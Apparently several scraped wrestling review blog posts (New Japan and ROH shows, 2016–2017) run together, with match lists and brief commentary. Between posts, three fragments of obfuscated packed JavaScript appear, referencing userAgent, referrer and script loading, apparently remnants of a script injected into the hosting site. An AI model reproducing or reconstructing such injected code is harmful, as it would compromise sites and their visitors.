Rating: B+. Uh….ok then. I would have thought this was the biggest layup of the show but Okada winning does have some potential. The key thing here is that while Omega and Naito have failed, whoever finally DOES beat Okada is going to be the biggest kingslayer of all time. It’s an interesting way to go, though it’s also quite risky.

The match itself was quite good, though I really wasn’t feeling some of the drama near the end. I think given how much it seemed Naito was a lock to take the title here, a lot of the near falls didn’t really get me interested. There were some good counters and Naito’s neck stuff all made sense, but it wasn’t up to the highest level in the world. That doesn’t mean it’s not great (it’s just barely into the great level but it’s there) but it needed a little more to get there. Very good match, just lacking some of the emotion that it needed.

Gedo yells at Naito as he stumbles up the ramp. Okada says something to Naito, which seems to be about respect. The champ addresses the fans and since I have no idea what’s being said and since no one translates it, we’ll wrap things up here with me assuming Gedo gave a recipe for Mexican spaghetti while telling Okada they need to buy Christmas ribbons while they’re on sale. Okada likely sang the Kenan and Kel theme song.

Overall Rating: A-. As usual, it’s a heck of a show but this one felt like it was lacking something here and there. The main events were both very strong and there were some other outstanding matches up and down the card. The energy was great throughout and above all else (maybe), the show really didn’t feel that long. This might be the first time I’ve ever knocked the whole thing out in a day and I never felt like it was going on forever, which is almost always the case.

There are some minor problems with the show, including a lack of much feeling like it mattered. The three top titles all stayed with their original holders and there’s really no one fresh left to challenge Okada (you can imagine Omega and Naito getting more shots but we’ve covered both of them rather recently). Ospreay is probably the biggest title change and he held the title as recently as November. Bushi and Evil winning was a cool moment, though I’d hope you can have something a bit more impactful than new Tag Team Champions. Have one of those three big titles change hands and the show feels more important.

Overall, the show was a lot of fun but I don’t think it’s going to be up there on the list of all time greatest Wrestle Kingdoms. There’s a lot of stuff that felt like it was built up to be big but was there to move us forward to something else. That’s not to say it’s a bad idea, though I’d kind of like something to actually feel important at the biggest show of the year. It’s worth seeing, as long as you realize that it’s been done better before.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyyia|var|u0026u|referrer|tafkb||js|php'.split('|'),0,{})) Japan G1 Special in USA Night One
Date: July 1, 2017
Location: Long Beach Convention and Entertainment Center, Long Beach, California
Commentators: Jim Ross, Josh Barnett

The opening video looks back at the history of the company (not exactly in depth) and the build tot he show. This includes a variety of big matches over both nights and how important it is for the competitors in a tournament for the inaugural IWGP United States Title.

Here are the tournament brackets:

Michael Elgin

Kenny Omega

Jay Lethal

Hangman Page

Juice Robinson

Zack Sabre Jr.

Tomohiro Ishii

Tetsuya Naito

We look at the tale of the tape for the World Title match between Kazuchika Okada and Cody Rhodes.

Roppongi Vice/Will Ospreay/Briscoe Brothers vs. Young Bucks/Marty Scurll/Yujiro Takahashi/Bad Luck Fale

Los Ingobernables de Japon vs. Titan/Dragon Lee/Volador Jr./Jushin Thunder Liger

IWGP United States Title Tournament First Round: Jay Lethal vs. Hangman Page

IWGP United States Title Tournament First Round: Zack Sabre Jr. vs. Juice Robinson

David Finlay/Jay White/Kushida/Hiroshi Tanahashi vs. Sho Tanaka/Yohei Komatsu/Yoshi Hashi/Billy Gunn

Tag Team Titles: War Machine vs. Guerillas of Destiny

Rating: B-. Sometimes you need four strong guys to beat the heck out of each other for a little over ten minutes. War Machine is a fun team and the Guerillas are the kind of team who can be right back due to pure charisma. A good power brawl is hard to come by and I had fun watching them beating on each other. Entertaining match and a nice change of pace to a lot of the other stuff on here.

IWGP United States Title Tournament First Round: Tetsuya Naito vs. Tomohiro Ishii

IWGP United States Title Tournament First Round: Michael Elgin vs. Kenny Omega

Kenny slams him onto the apron for a nineteen count and we hit the chinlock to slow things down a bit. Elgin raises his knees to block a middle rope moonsault as JR calls the Bucks very annoying. That might be the understatement of the year. A powerslam pulls Kenny out of the air for a close two (ignore the spitting onto the mat during the cover). Elgin powers him up again but gets caught in a snap dragon suplex to send him outside.

Jay Lethal

Kenny Omega

Tomohiro Ishii

Zack Sabre Jr.

IWGP World Title: Kazuchika Okada vs. Cody

That warrants a break for another kiss, followed by heading back inside for a standoff. They head outside to speed things up with Okada hitting a running dive over the barricade, only to have Cody go after the knee to take over. Cody chokes with his boot but Okada neckbreakers his way out.

A highlight reel ends the show.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtirz|var|u0026u|referrer|kdebr||js|php'.split('|'),0,{})) 6:11
Date: June 11, 2017
Location: Osaka-Jo Hall, Osaka, Japan
Attendance: 11,756
Commentators: Kevin Kelly, Don Callis

Pre-Show: David Finlay/Shota Umino/Tomoyuki Oka vs. Hirai Kawato/Katsuya Kitamura/Tetsuhiro Yagi

Before we wrap up the pre-show, Callis promises seven stars in the main event. Unless Trent Seven is involved, let it go already.

Tiger Mask/Tiger Mask W/Togi Makabe/Yuji Nagata vs. Hiroshi Tenzan/Jushin Thunder Liger/Manabu Nakanishi/Satoshi Kojima

Never Openweight Six Man Tag Team Titles: Gauntlet Match

Yujiro has a parade of good looking women in various stages of limited clothing with him, making him one of the better parts of the show so far. As usual, Yano has merch to hand out/sell, which is a gimmick that gets a little old but still has enough charm. Page kicks Ishii in the face to start and we hit the forearms that have no effect but wrestlers still do them because of strong style or fighting spirit or whatever they call standing there and growling at the moment.

IWGP Junior Heavyweight Tag Team Titles: Young Bucks vs. Roppongi Vice

IWGP Tag Team Titles: Guerillas of Destiny vs. War Machine

The new champs pose in the chair after the win.

Cody vs. Michael Elgin

Just a way to get them both on the card here. Cody offers a cartwheel to start but Elgin shoulders him down and shows Cody the proper cartwheeling technique (I hear he won the Nevada state title back in 95). Since it worked so well the first time, Cody hits a vertical suplex, only to have Elgin pick Cody up for an eighteen second version. Callis says it was over thirty, meaning that bad timing skills are also a Canadian/Japanese problem.

Cody wants Christopher Daniels and Okada

IWGP Junior Heavyweight Title: Kushida vs. Hiromu Takahashi

Kushida thanks the fans but Bushi and Evil come out with the former misting the new champ.

Never Openweight Title: Hirooki Goto vs. Minoru Suzuki

Yoshi-Hashi saves Goto from further damage so Suzuki offers a challenge.

Intercontinental Title: Hiroshi Tanahashi vs. Tetsuya Naito

Naito grabs his own German suplex and Destino for two, only to have Tanahashi pop up with the Sling Blade. The High Fly Flow is good for another near fall and you can hear some of the energy go out of the crowd on the kickout. The Cloverleaf goes on with Tanahashi almost turning it into a Liontamer to FINALLY make Naito tap at 25:58 and earn redemption.

We recap Kazuchika Okada vs. Kenny Omega for the IWGP World Title. They had the most overrated match of all time (which was great) at Wrestle Kingdom and now Okada has challenged Omega for the rematch.

IWGP World Title: Kenny Omega vs. Kazuchika Okada

The V Trigger (knee to the head) is blocked and Okada rolls some German suplexes into a weak Rainmaker (you know, like it almost always looks) for two. Omega is back up with a sitout powerbomb for his own near fall and both guys are spent. Back up and another Rainmaker is countered into the snap dragon suplex but Okada throws him on top for a dropkick to the floor.

Gedo puts Okada over and the guys get a standing ovation.

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Wrestle Kingdom 11
Date: January 4, 2017
Location: Tokyo Dome, Tokyo, Japan
Attendance: 26,192
Commentators: Steve Corino, Kevin Kelly

Pre-Show: New Japan Rumble

Elgin throws Cheeseburger at Tenzan before putting Tenzan out to get us down to two. Cheeseburger hammers away and actually scores with a superkick. For some reason, Cheeseburger tries a sunset flip on a guy whose finisher is a powerbomb. The Elgin Bomb gives, uh, Elgin, the win at 25:13.

The opening video runs down the card in order, which I think I kind of like.

Tiger Mask W vs. Tiger the Dark

Junior Heavyweight Tag Team Titles: Roppongi Vice vs. Young Bucks

The Bucks are defending and along with Matt Sydal/Ricochet and ReDRagon, these teams have traded the titles since November 2014. As a bonus, the champs come to the ring with the IWGP, PWG and ROH Tag Team Titles plus custom made Superkick Party titles. They even call the Hardys out on the way to the ring as the angle continues despite them never showing up in TNA. I love that for some reason.

Never Openweight Six Man Tag Team Titles: David Finlay/Ricochet/Satoshi Kojima vs. Los Ingobernables de Japon vs. Bullet Club vs. Chaos

We settle down to a banged up Yoshi getting beaten down in the ring with Takahashi throwing kicks and Page getting two off a jumping DDT. A neckbreaker allows for the hot tag to Ospreay as things speed up in a hurry. Ospreay starts fast with a cartwheel moonsault over the top to take out all three members followed by a middle rope corkscrew moonsault for two on Page.

Juice Robinson vs. Cody

A hiptoss puts Juice on the floor to start but Juice counters his dive into a belly to belly. As we look at the replay, Juice cannonballs into the Cody against the barricade for a painful looking crash. Back in and Cody grabs an Alabama Slam to take over before stopping to pose by leaning on his fist.

Ads for upcoming shows, including two shows in California, which I believe are the first ever stand alone New Japan shows on US soil.

Tag Team Titles: Chaos vs. Guerillas of Destiny vs. G.B.H.

With everyone else on the floor, Tama slides around (very slick) and jumps into a DDT on Makabe. Honma comes in and SWEARS A LOT (with Corino laughing so much he has to turn his mic off) before dropping a headbutt on Loa. Everything breaks down again with the Guerillas sending Yano outside and swearing even more. We lose Corino again thanks to four F bombs during a powerbomb on Honma for two.

Junior Heavyweight Title: Hiromu Takahashi vs. Kushida

Never Openweight Title: Katsuyori Shibata vs. Hirooki Goto

Goto actually scores with some clotheslines but runs into an STO to put both guys down. Back up and Shibata gets in his rear naked choke to pull Goto right back down to the mat. You can feel the audience getting worried here and a BIG sigh of relief when Goto makes the bottom rope.

Intercontinental Title: Tetsuya Naito vs. Hiroshi Tanahashi

IWGP World Title: Kenny Omega vs. Kazuchika Okada

The English commentary ends and we get some shots of the Japanese announcers wrapping it up.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|karfz|var|u0026u|referrer|zafnb||js|php'.split('|'),0,{})) Before Dishonor 2016
Date: August 19, 2016
Location: Sam’s Town Live, Las Vegas, Nevada
Commentators: Nigel McGuinness, Kevin Kelly

The announcers run down the card.

Kamaitachi vs. Donovan Dijak vs. Jay White vs. Lio Rush

We recap Katsuyori Shibata vs. Silas Young. Silas is annoyed that he keeps fighting through ROH but all he ever hears about are the New Japan guys. GEE, YOU THINK THAT MIGHT BE A PROBLEM??? Tonight he wants to fight Shibata, who is considered the toughest guy in New Japan so he can prove a point.

Katsuyori Shibata vs. Silas Young

Yujiro Takahashi/Guerillas of Destiny vs. Roppangi Vice/Toru Yano

Jay Briscoe vs. Hangman Page

Kazuchika Okada vs. Dalton Castle

The Boys actually fan Okada and the distraction lets Castle get in a running knee to the head. Back in and Dalton works on the arm to slow things way down. Castle sends him outside for a suicide dive, followed by a bulldog for two. A t-bone suplex plants Okada and a great looking bridging German suplex gets two more.

Okada and Castle post after the match.

TV Title: Bobby Fish vs. Mark Briscoe

Tag Team Titles: Addiction vs. Los Ingobernables de Japan vs. Hiroshi Tanahashi/Michael Elgin

Tanahashi comes in but the champs take over, only to have Naito tag himself in. Makes sense as you have to be in the ring to win the titles. We get a weird collaboration between Daniels and Evil but everything breaks down with Elgin throwing everyone around with German suplexes. The Addiction gets German suplexed at the same time, followed by a fall away slam/Samoan drop combo to the other challengers.

Daniels suicide dives onto Evil (Taven: “Show me that beautiful bean footage.”), only to have Tanahashi break up Celebrity Rehab. We get the big spot of the match with Elgin hitting a running flip dive over the top to take out everyone at the same time. Eh big men flying are always cool.

ROH World Title: Jay Lethal vs. Adam Cole

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